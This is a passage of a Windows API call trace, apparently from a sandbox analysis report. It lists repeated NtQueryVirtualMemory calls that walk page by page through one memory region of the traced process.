VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x808000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x89000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.528] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x809000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x809000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x88000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.528] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x80a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x80a000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x87000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.528] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x80b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x80b000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x86000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.529] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x80c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x80c000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x85000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.529] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x80d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x80d000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x84000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.529] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x80e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x80e000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x83000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.529] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x80f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x80f000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x82000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.529] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x810000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x810000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x81000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.529] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x811000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x811000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x80000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.529] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x812000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x812000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x7f000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.529] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x813000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x813000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x7e000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.529] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x814000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x814000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x7d000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.530] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x815000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x815000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x7c000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.530] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x816000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x816000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x7b000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.530] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x817000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x817000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x7a000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.530] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x818000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x818000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x79000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.530] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x819000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x819000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x78000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.530] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x81a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x81a000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x77000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.530] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x81b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x81b000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x76000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.530] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x81c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x81c000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x75000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.531] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x81d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x81d000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x74000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.531] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x81e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x81e000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x73000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.531] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x81f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x81f000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x72000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.531] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x820000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x820000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x71000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.531] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x821000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x821000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x70000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.531] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x822000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x822000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x6f000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.531] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x823000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x823000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x6e000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.531] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x824000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x824000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x6d000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.532] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x825000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x825000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x6c000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.532] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x826000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x826000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x6b000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.532] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x827000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x827000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x6a000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.532] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x828000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x828000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x69000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.532] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x829000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x829000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x68000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.532] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x82a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x82a000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.532] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x82b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x82b000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x66000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.532] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x82c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x82c000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x65000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.533] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x82d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x82d000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x64000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.533] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x82e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x82e000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x63000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.533] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x82f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x82f000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x62000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.533] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x830000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x830000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x61000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.533] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x831000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x831000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x60000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.533] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x832000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x832000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x5f000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.533] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x833000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x833000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x5e000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.533] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x834000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x834000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x5d000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.533] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x835000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x835000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x5c000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.534] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x836000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x836000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x5b000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.534] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x837000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x837000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x5a000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.534] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x838000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x838000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x59000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.534] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x839000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x839000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x58000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.534] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x83a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x83a000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x57000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.534] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x83b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x83b000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x56000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.534] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x83c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x83c000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x55000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.535] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x83d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x83d000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x54000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.535] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x83e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x83e000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x53000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.535] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x83f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x83f000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x52000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.535] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x840000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x840000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x51000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.535] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x841000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x841000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x50000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.535] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x842000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x842000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x4f000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.535] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x843000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x843000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x4e000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.535] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x844000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x844000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x4d000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.536] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x845000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x845000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x4c000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.536] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x846000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x846000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x4b000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.536] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x847000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x847000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x4a000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.536] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x848000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x848000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x49000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.536] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x849000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x849000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x48000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.536] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x84a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x84a000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x47000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.536] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x84b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x84b000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x46000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.536] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x84c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x84c000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x45000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.537] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x84d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x84d000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x44000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.537] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x84e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x84e000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x43000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.537] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x84f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x84f000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x42000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.537] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x850000, 